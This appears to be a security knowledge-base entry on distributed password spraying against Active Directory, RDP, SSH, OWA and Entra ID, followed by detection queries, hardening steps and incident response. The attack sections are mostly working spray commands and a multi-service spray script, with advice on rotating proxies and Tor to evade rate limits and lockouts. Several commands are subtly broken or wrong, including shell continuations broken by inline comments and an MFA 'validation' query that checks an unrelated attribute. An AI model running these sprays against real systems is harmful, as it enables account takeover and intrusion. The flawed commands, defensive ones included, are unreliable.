| Attribute | Details |
|---|---|
| Technique ID | CA-BRUTE-002 |
| MITRE ATT&CK v18.1 | T1110.003 - Brute Force: Password Spraying |
| Tactic | Credential Access |
| Platforms | Multi-Environment (Windows AD, VPN, RDP, OWA, Okta, SSH, Citrix, Hybrid) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | Windows Server 2012-2025, Active Directory all versions, VPN appliances (Fortinet, Cisco, Palo Alto), Okta, Citrix, SSH services |
| Patched In | N/A (Mitigation via MFA, rate limiting, distributed detection) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) Atomic tests exist but are environment-specific (AD, VPN, RDP variants each require separate test), (2) Sysmon detection covers local process execution; distributed multi-environment spraying is best detected via network-layer tools and centralized logging rather than endpoint instrumentation.
Concept: Distributed password spraying orchestrates spray attacks across multiple authentication endpoints and services simultaneously—targeting Windows AD, VPNs, RDP, OWA, Okta, SSH, Citrix gateways, and hybrid infrastructure in a single coordinated campaign. Instead of attacking one service sequentially, attackers distribute attempts across geographically separated IP addresses and time windows to evade lockout policies and detection thresholds designed to detect single-service attacks. The attack leverages password reuse across multiple authentication systems (users often use the same password for VPN, RDP, M365, and AD), meaning a single weak password may unlock access to multiple critical systems simultaneously.
Attack Surface: The attack targets multiple authentication frontiers:
Business Impact: Successful compromise of even one account across distributed systems can lead to complete network penetration. If user “john@company.com” uses password “Winter2025!” across VPN, RDP, and AD, a single spray success grants attacker:
Real-world impact: RansomHub ransomware (June 2025) deployed via RDP spray; APT28 (2024) used multi-month distributed spray across NATO agencies; Peach Sandstorm (2023) targeted 10,000+ organizations across cloud and on-premises simultaneously.
Technical Context: Distributed attacks avoid triggering rate limits and lockout policies by:
Success rate: 0.1%-2% across enterprise environments; even with MFA on 50% of accounts, unprotected services still fall. Detection becomes challenging because no single alert threshold is crossed—attack is distributed by design.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 1.2.1 | Enforce Multi-Factor Authentication on all externally-facing services |
| CIS Benchmark | CIS 4.4.3 | Enforce account lockout after 5 failed login attempts |
| DISA STIG | Windows Server STIG SV-257638 | Disable NTLM where possible; enforce Kerberos |
| NIST 800-53 | AC-7 Unsuccessful Login Attempts | Enforce login throttling; log and monitor failures |
| NIST 800-53 | SI-4 Information System Monitoring | Correlate authentication failures across multiple services |
| NIST 800-207 | Zero Trust Architecture | Verify identity/device/context for EVERY authentication attempt |
| GDPR | Art. 32 | Implement strong authentication; secure multi-service authentication |
| DORA | Art. 9 | Detect and respond to authentication-based intrusions |
| NIS2 | Art. 21 | Implement incident response for distributed credential attacks |
| ISO 27001 | A.9.2.1 | User access management (track across systems) |
| ISO 27005 | Risk Scenario | “Multi-system compromise via distributed credential spray” |
Required Privileges: None (external, unauthenticated attack across network perimeter).
Required Access:
Supported Platforms & Services:
Environment Requirements:
Tools:
PowerShell - Enumerate Exposed Services:
# Scan for RDP availability
Test-NetConnection -ComputerName "target.company.com" -Port 3389 -WarningAction SilentlyContinue | Select-Object ComputerName, RemotePort, TcpTestSucceeded
# Expected output (if RDP exposed):
# ComputerName RemotePort TcpTestSucceeded
# --------------- ---------- ----------------
# target.company 3389 True
# Scan for OWA availability
Test-NetConnection -ComputerName "mail.company.com" -Port 443 -WarningAction SilentlyContinue | Select-Object ComputerName, RemotePort, TcpTestSucceeded
Bash - Port Scanning Multiple Services:
#!/bin/bash
# Scan target for common authentication services
target="192.168.1.100"
for port in 22 389 445 3306 3389 8080 8443; do
echo "Testing port $port..."
timeout 2 bash -c "echo > /dev/tcp/$target/$port" 2>/dev/null && echo "[+] Port $port OPEN" || echo "[-] Port $port closed"
done
# Using nmap (faster)
nmap -p 22,389,445,3306,3389,8080,8443 $target
What to Look For:
Enumerate VPN / Multi-Factor Status:
# Test if VPN has MFA (VPN will present MFA challenge after valid credentials)
# No automated way; manual testing required
# If VPN accepts credentials without MFA prompt, spray has higher success rate
# Check Okta presence
curl -s "https://company.okta.com" | grep -i "okta" && echo "[+] Okta detected" || echo "[-] Okta not found"
# Check Azure AD presence (Entra ID)
curl -s "https://login.microsoft.com/company.com/.well-known/openid-configuration" | grep -o '"issuer":"[^"]*"'
Supported Versions: Windows Server 2012-2025; Active Directory all functional levels
CrackMapExec is the de facto standard for distributed AD password spraying due to multi-protocol support (SMB, WinRM, LDAP, MSSQL, SSH, RDP).
Objective: Create unified username and password lists compatible with all target services.
Command (Generate Usernames from Multiple Sources):
# Combine usernames from LinkedIn scrape, data breaches, and internal enumeration
cat linkedin_users.txt data_breach_users.txt company_directory.txt | sort -u > all_usernames.txt
# Convert to different formats (AD uses UPN format, some services use just username)
# Create UPN format: user@company.com
sed 's/@.*//' all_usernames.txt | sed 's/$/@company.com/' > upn_usernames.txt
# Create short format: user (for RDP, SSH, some VPNs)
sed 's/@.*//' all_usernames.txt | sort -u > short_usernames.txt
# Example output:
# $ head -5 upn_usernames.txt
# john.smith@company.com
# sarah.johnson@company.com
# mike.williams@company.com
# lisa.brown@company.com
# david.davis@company.com
Command (Generate Common Passwords Targeting Multiple Services):
cat > password_list.txt <<'EOF'
Password123
P@ssw0rd
Welcome2025
Winter2025
Spring2025
Summer2025
Company123
Admin123
123456
password
P@ssword123!
Fall2024
Company2024
Seasonal2025
EOF
# Or use rockyou.txt (top 100 entries) for more comprehensive list
head -100 /usr/share/wordlists/rockyou.txt > common_passwords.txt
Expected Output:
$ wc -l upn_usernames.txt common_passwords.txt
450 upn_usernames.txt
100 common_passwords.txt
550 total
What This Means:
Objective: Install CME on attack infrastructure and configure for distributed spray.
Command (Install CrackMapExec):
# Clone from GitHub
git clone https://github.com/byt3bl33d3r/CrackMapExec.git
cd CrackMapExec
# Install dependencies
sudo pip3 install -r requirements.txt
sudo python3 setup.py install
# Verify installation
crackmapexec --version
# Expected: 5.5.x or later
Expected Output:
$ crackmapexec --version
CrackMapExec v5.5.0 - Powered by Empire Project
What This Means:
Objective: Spray against LDAP (port 389) instead of SMB (445) to avoid logging Event ID 4625 in some configurations.
Command (LDAP Spray - One Password, Many Users):
# LDAP spray (avoids NTLM relay detection on SMB)
crackmapexec ldap 10.0.0.1 -u upn_usernames.txt -p "Winter2025" \
--no-bruteforce \
-d company.com \
--throttle 2 \ # 2-second delay between attempts
-o ldap_spray_results.txt
# Parameters:
# -u = Username file
# -p = Single password
# --no-bruteforce = Try user:password combinations (not all users with all passwords)
# --throttle = Delay between requests (in seconds)
# -d = Domain name
# -o = Output file
Command (SMB Spray - Alternative for NTLM Environments):
# SMB spray against Domain Controller
crackmapexec smb 10.0.0.1 -u upn_usernames.txt -p "Winter2025" \
--shares \ # Enumerate shares post-compromise
--throttle 3 \
--continue-on-success \ # Don't stop after first success
-o smb_spray_results.txt
Expected Output (Successful Spray):
SMB 10.0.0.1 445 DC01 [+] company.com\john.smith:Winter2025 (Pwned)
SMB 10.0.0.1 445 DC01 [+] company.com\sarah.johnson:Winter2025 (Pwned)
SMB 10.0.0.1 445 DC01 [*] john.smith share enumeration:
[+] Read/Write Shares: [NETLOGON, SYSVOL, C$]
SMB 10.0.0.1 445 DC01 [-] company.com\mike.williams:Winter2025 (Invalid credentials)
What This Means:
OpSec & Evasion:
Troubleshooting:
nmap -p 389 10.0.0.1References & Proofs:
Objective: Target RDP (port 3389) directly to compromise Windows endpoints.
Command (RDP Spray via CrackMapExec):
# RDP spray against exposed RDP gateway or directly to endpoints
crackmapexec rdp 192.168.1.100-200 -u short_usernames.txt -p "Winter2025" \
--ignore-pw-decoding \
--throttle 2 \
-o rdp_spray_results.txt
# Parameters:
# 192.168.1.100-200 = Target range (IPs to spray)
# short_usernames.txt = Uses simple usernames (Administrator, user, etc.)
# --ignore-pw-decoding = Avoids encoding/decoding delays
Expected Output:
RDP 192.168.1.101 3389 Server1 [+] company\Administrator:Winter2025 (Pwned)
RDP 192.168.1.102 3389 Server2 [-] company\Administrator:Winter2025 (Invalid credentials)
RDP 192.168.1.103 3389 Server3 [+] company\admin:Winter2025 (Pwned)
What This Means:
OpSec & Evasion:
Objective: Coordinate spray across AD, RDP, VPN, SSH, and OWA simultaneously.
Command (Bash Script - Orchestrate Multi-Service Spray):
#!/bin/bash
# Multi-service distributed spray script
# Targets: AD (LDAP), RDP, SSH, OWA
USERNAME_FILE="upn_usernames.txt"
PASSWORD="Winter2025"
DC_IP="10.0.0.1"
RDP_RANGE="192.168.1.100-200"
SSH_SERVERS="192.168.2.10,192.168.2.20,192.168.2.30"
OWA_URL="https://mail.company.com/owa"
echo "[*] Starting distributed password spray..."
echo "[*] Target: company.com"
echo "[*] Password: $PASSWORD"
# LDAP spray (AD)
echo "[+] Spraying LDAP (AD)..."
crackmapexec ldap $DC_IP -u $USERNAME_FILE -p "$PASSWORD" \
--throttle 2 -o ldap_results.txt &
# RDP spray
echo "[+] Spraying RDP..."
crackmapexec rdp $RDP_RANGE -u $USERNAME_FILE -p "$PASSWORD" \
--throttle 3 -o rdp_results.txt &
# SSH spray
echo "[+] Spraying SSH..."
crackmapexec ssh $SSH_SERVERS -u $USERNAME_FILE -p "$PASSWORD" \
--throttle 2 -o ssh_results.txt &
# OWA spray (via separate tool)
echo "[+] Spraying OWA..."
python3 mailsniper.py -u $USERNAME_FILE -p "$PASSWORD" \
-e $OWA_URL -o owa_results.txt &
# Wait for all to complete
wait
# Aggregate results
echo "[*] Spray complete. Results:"
grep "Pwned\|Valid" ldap_results.txt rdp_results.txt ssh_results.txt owa_results.txt 2>/dev/null | sort -u
Expected Output:
[*] Starting distributed password spray...
[*] Target: company.com
[*] Password: Winter2025
[+] Spraying LDAP (AD)...
[+] Spraying RDP...
[+] Spraying SSH...
[+] Spraying OWA...
[*] Spray complete. Results:
ldap_results.txt: [+] company.com\john.smith:Winter2025 (Pwned)
rdp_results.txt: [+] company\admin:Winter2025 (Pwned)
ssh_results.txt: [+] Valid credentials: sysadmin:Winter2025 (SSH accepted)
owa_results.txt: [+] Valid: john.smith@company.com:Winter2025 (Mailbox accessible)
What This Means:
OpSec & Evasion:
Supported Versions: All services; specifically designed to evade IP-based rate limiting
Use residential proxies or AWS API Gateway (FireProx) to rotate IP addresses and bypass per-IP rate limits.
Command (FireProx - AWS API Gateway):
# Create API Gateway proxy
python3 fireprox.py --url https://login.microsoft.com --region us-east-1 \
--access-key YOUR_AWS_KEY --secret-key YOUR_AWS_SECRET
# Expected output:
# [+] API Gateway created: https://abc123xyz.execute-api.us-east-1.amazonaws.com/
# [+] Each request rotates through different AWS IPs
Command (Residential Proxy - Manual Rotation):
# Using rotating residential proxy service (e.g., Bright Data)
# Configure in environment
export HTTP_PROXY="http://user:pass@proxy.residential.com:proxy_port"
export HTTPS_PROXY="http://user:pass@proxy.residential.com:proxy_port"
# Verify rotation
for i in {1..5}; do
curl -s https://ipinfo.io/ip
# Should show different IP each time
done
Command (CrackMapExec via Proxy):
# Spray via proxy-rotated HTTP endpoint
export HTTP_PROXY="socks5://127.0.0.1:9050" # Tor or residential proxy
crackmapexec ldap 10.0.0.1 -u upn_usernames.txt -p "Winter2025" \
--proxy socks5://127.0.0.1:9050 \
--throttle 3 \
-o proxy_spray_results.txt
Expected Output:
[+] Each authentication request appears to come from different IP
[+] Target's rate-limiting logic cannot correlate attempts
[+] Spray continues uninterrupted while single-IP attacks would be blocked
Supported Versions: Hybrid (Password Hash Sync enabled) or Federated (ADFS)
Leverage password synchronization between on-premises AD and Entra ID to compromise both environments simultaneously.
Command:
crackmapexec ldap 10.0.0.1 -u upn_usernames.txt -p "Winter2025" \
-d company.local \
--throttle 2 -o onprem_results.txt
Command (via Spray365):
python3 spray365.py --username upn_usernames.txt --password "Winter2025" \
--domain company.onmicrosoft.com \
--sleep 3 \
--timeout 10
Impact:
Version: 5.5+
Minimum Version: 4.0
Supported Platforms: Linux, macOS, Windows (via WSL)
Installation:
git clone https://github.com/byt3bl33d3r/CrackMapExec.git
cd CrackMapExec
pip3 install -r requirements.txt
python3 setup.py install
Usage (SMB Spray):
crackmapexec smb 192.168.1.0/24 -u users.txt -p "password" --continue-on-success
Usage (LDAP Spray):
crackmapexec ldap 10.0.0.1 -u users.txt -p "password" -d company.com
Usage (RDP Spray):
crackmapexec rdp 192.168.1.100-200 -u users.txt -p "password"
Version: Latest
Supported Platforms: Linux, macOS, Windows (via WSL)
Installation:
git clone https://github.com/sensepost/spray365.git
cd spray365
pip3 install -r requirements.txt
Usage:
python3 spray365.py --username users.txt --password "password" --domain company.onmicrosoft.com
Version: 9.x+
Supported Platforms: Linux, macOS
Installation:
apt-get install hydra # Debian/Ubuntu
brew install hydra # macOS
Usage (SSH Spray):
hydra -L users.txt -p "password" ssh://192.168.1.100 -t 4
Usage (RDP Spray):
hydra -L users.txt -p "password" rdp://192.168.1.100 -t 2
Rule Configuration:
SigninLogs, SecurityEvent, DeviceNetworkEventsKQL Query:
// Correlate failed logins across multiple services and IPs
let AD_Spray = SecurityEvent
| where EventID in (4625) // Failed logon
| where TimeGenerated > ago(24h)
| summarize ADFailureCount = count() by UserAccount, Computer, bin(TimeGenerated, 1h)
| where ADFailureCount > 5; // 5+ failures per account per hour
let Azure_Spray = SigninLogs
| where ResultType in ("50055", "50056", "50057") // Invalid password
| where TimeGenerated > ago(24h)
| summarize AzureFailureCount = count() by UserPrincipalName, bin(TimeGenerated, 1h)
| where AzureFailureCount > 5;
// Correlate: same user failing on both AD and Azure (distributed spray pattern)
AD_Spray
| join kind=inner Azure_Spray on $left.UserAccount == $right.UserPrincipalName
| project UserAccount, ADFailureCount, AzureFailureCount, TimeGenerated
| where ADFailureCount + AzureFailureCount > 15 // 15+ combined failures = spray pattern
What This Detects:
Rule Configuration:
SecurityEvent, Syslog, DeviceLogonEventsKQL Query:
// Look for failed authentication attempts across different protocols/services
let all_failures = union
(SecurityEvent | where EventID == 4625 | project SourceIP, UserAccount, TimeGenerated, Service = "NTLM"),
(Syslog | where Facility == "auth" and SyslogMessage contains "Failed password" | project SourceIP = HostIP, UserAccount = extract(@"user=([^ ]*)", 1, SyslogMessage), TimeGenerated, Service = "SSH"),
(DeviceLogonEvents | where ResultType != "0" | project SourceIP = IPAddress, UserAccount = AccountName, TimeGenerated, Service = "RDP");
all_failures
| summarize FailureCount = count(), ServiceCount = dcount(Service), Services = make_set(Service) by SourceIP, bin(TimeGenerated, 1h)
| where ServiceCount >= 2 // Failures across 2+ different services
| where FailureCount >= 10 // 10+ failures total
| order by FailureCount desc
What This Detects:
Log Source: Security (All Domain Controllers)
Challenge: Event ID 4625 is logged locally on each DC; correlation requires SIEM aggregation.
Manual Configuration Steps (SIEM - Splunk, Sentinel, Elastic):
Example Alert Logic:
EventID=4625
| stats count as failures by TargetUserName, SourceIPAddress, TimeCreated (1h)
| search failures > 5
Log Source: Security (All Domain Controllers)
Configuration: Same as 4625; Kerberos spray bypasses NTLM logging on some configurations.
Alert: Correlate 4771 + 4625 to catch both NTLM and Kerberos spray attempts.
Mitigation 1: Enforce Multi-Factor Authentication (MFA) Across All Services
Objective: MFA eliminates password spray success even if password is correct. Requires attacker to compromise MFA token separately.
Applies To Versions: All environments (AD, RDP, VPN, OWA, SSH, Cloud)
Manual Steps (Windows AD - Smart Card Enforcement):
Manual Steps (VPN - Multi-Factor via Okta/Duo):
Manual Steps (SSH - Public Key Authentication):
# Disable password authentication entirely; require SSH keys only
# Edit /etc/ssh/sshd_config
sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/^PubkeyAuthentication no/PubkeyAuthentication yes/' /etc/ssh/sshd_config
# Restart SSH
systemctl restart sshd
Impact Assessment:
Validation Command:
# Verify MFA is enforced
Get-ADUser -Filter * -Properties msDS-RequiredPasswordHashAlgorithm | Where-Object {$_.msDS-RequiredPasswordHashAlgorithm} | Select-Object SamAccountName
# Should return all users if hardening applied
Mitigation 2: Aggressive Account Lockout Across All Services
Objective: Lock account after 3-5 failed login attempts (instead of default 10). Prevents spray from testing many passwords on single account.
Manual Steps (Windows AD - Group Policy):
Manual Steps (VPN/Okta - Rate Limiting):
Okta Admin Console → Security → General
- Set: "Max number of failed login attempts" = 3
- Set: "Lockout period" = 30 minutes
- Enable: "Notify user of potential breach"
Manual Steps (RDP - Network Policy Server NPS):
Manual Steps (SSH - fail2ban Configuration):
# Install fail2ban
apt-get install fail2ban
# Configure aggressive lockout
cat > /etc/fail2ban/jail.local <<'EOF'
[sshd]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 3 # Lock after 3 failures
findtime = 600 # Within 10 minutes
bantime = 1800 # Lockout for 30 minutes
EOF
# Restart fail2ban
systemctl restart fail2ban
Impact Assessment:
Validation Command:
# Check current lockout policy
Get-ADDefaultDomainPasswordPolicy | Select-Object LockoutThreshold, LockoutDuration, LockoutObservationWindow
# Expected: LockoutThreshold = 3, LockoutDuration = 30 mins
Mitigation 3: Disable Weak Authentication Protocols (NTLM, LDAP Cleartext)
Objective: Force modern authentication (Kerberos, OAuth, SAML) that resists password spray.
Manual Steps (Disable NTLM on Domain Controllers):
# Set NTLM audit only (no blocking, just logging)
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 6 -Type DWORD
# Alternative: Block NTLM entirely (risky - may break legacy apps)
# Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLMInDomain" -Value 2 -Type DWORD
# Restart required
Restart-Computer
Manual Steps (Disable LDAP Cleartext):
# Force LDAP over SSL/TLS only
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" -Name "ldapserverintegrity" -Value 2 -Type DWORD
# Restart NTDS service
Restart-Service NTDS
Manual Steps (SSH - Disable Password Auth):
# Already covered in Mitigation 1
sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd
Impact Assessment:
Mitigation 4: Distributed Correlation Detection (Multi-SIEM / SOC Tuning)
Objective: Detect spray patterns that single-service alerts would miss.
Manual Steps (Configure SIEM Correlation):
Alert if: (Failed AD logins > 5 in 1hr) AND (Failed RDP logins > 5 in 1hr) AND (Same user OR Same source IP)
Mitigation 5: IP Reputation Blocking (Conditional Access)
Objective: Block authentication from known-bad IPs (proxies, VPNs, residential IP services).
Manual Steps (Entra ID Conditional Access):
Manual Steps (Fortinet FortiGate VPN):
VPN → SSL/TLS → Edit (SSL_VPN_TUNNEL)
Configure: IP Reputation Filtering → Block known proxies/botnets
Network:
Log Patterns:
Behavioral:
Windows Event Logs:
Get-ADUser)SIEM Logs:
System State:
1. Isolate Compromised Services
Command (Disable Compromised User Account Immediately):
# Disable in AD
Disable-ADAccount -Identity "john.smith"
# Disable in Entra ID
Update-MgUser -UserId "john.smith@company.com" -AccountEnabled:$false
# Disable RDP access
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 1
Command (Block Attacker IP):
# Windows Firewall
New-NetFirewallRule -DisplayName "Block Attacker IP" -Direction Inbound -Action Block -RemoteAddress "192.0.2.100"
# Firewall/NSG (Azure)
New-AzNetworkSecurityRuleConfig -Name "BlockAttackerIP" -Protocol * -SourcePortRange * -DestinationPortRange * -SourceAddressPrefix "192.0.2.100" -DestinationAddressPrefix * -Access Deny -Priority 100
2. Investigate Lateral Movement
Command (Find All Logins by Compromised Account):
# Find all logons by john.smith in past 24 hours
Get-EventLog -LogName Security -InstanceId 4624 -After (Get-Date).AddDays(-1) | Where-Object {$_.Message -like "*john.smith*"}
# Sentinel query
SigninLogs
| where UserPrincipalName == "john.smith@company.com"
| where TimeGenerated > ago(24h)
| sort by TimeGenerated desc
Command (Find Privilege Escalation or Sensitive Access):
# Check if john.smith was added to privileged groups
Get-EventLog -LogName Security -InstanceId 4728 -After (Get-Date).AddDays(-1) | Where-Object {$_.Message -like "*john.smith*"}
# Check for file/share access
Get-EventLog -LogName Security -InstanceId 4656 -After (Get-Date).AddDays(-1) | Where-Object {$_.Message -like "*john.smith*"}
3. Remediation
Command (Force Password Reset):
# AD
Set-ADUser -Identity "john.smith" -ChangePasswordAtLogon $true
# Entra ID
Update-MgUser -UserId "john.smith@company.com" -ForceChangePasswordNextSignIn $true
Command (Revoke All Sessions):
# Entra ID - Invalidate all refresh tokens
Invoke-MgGraphRequest -Method POST -Uri "/users/john.smith@company.com/invalidateAllRefreshTokens"
# Exchange Online - Revoke sessions
Get-PSSession | Where-Object {$_.State -eq "Opened"} | Remove-PSSession
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-002] Anonymous LDAP Binding | Enumerate valid usernames |
| 2 | Reconnaissance | [REC-CLOUD-002] ROADtools Entra ID | Discover cloud endpoints |
| 3 | Credential Access | [CA-BRUTE-002] | Distributed password spray across services |
| 4 | Initial Access | Successful login to AD/RDP/VPN | Attacker gains foothold |
| 5 | Privilege Escalation | [PE-VALID-002] Computer Account Quota Abuse | Escalate from user to domain admin |
| 6 | Persistence | [PE-ACCTMGMT-001] App Registration | Create persistent backdoor access |
| 7 | Impact | Ransomware deployment, data exfil | Full environment compromise |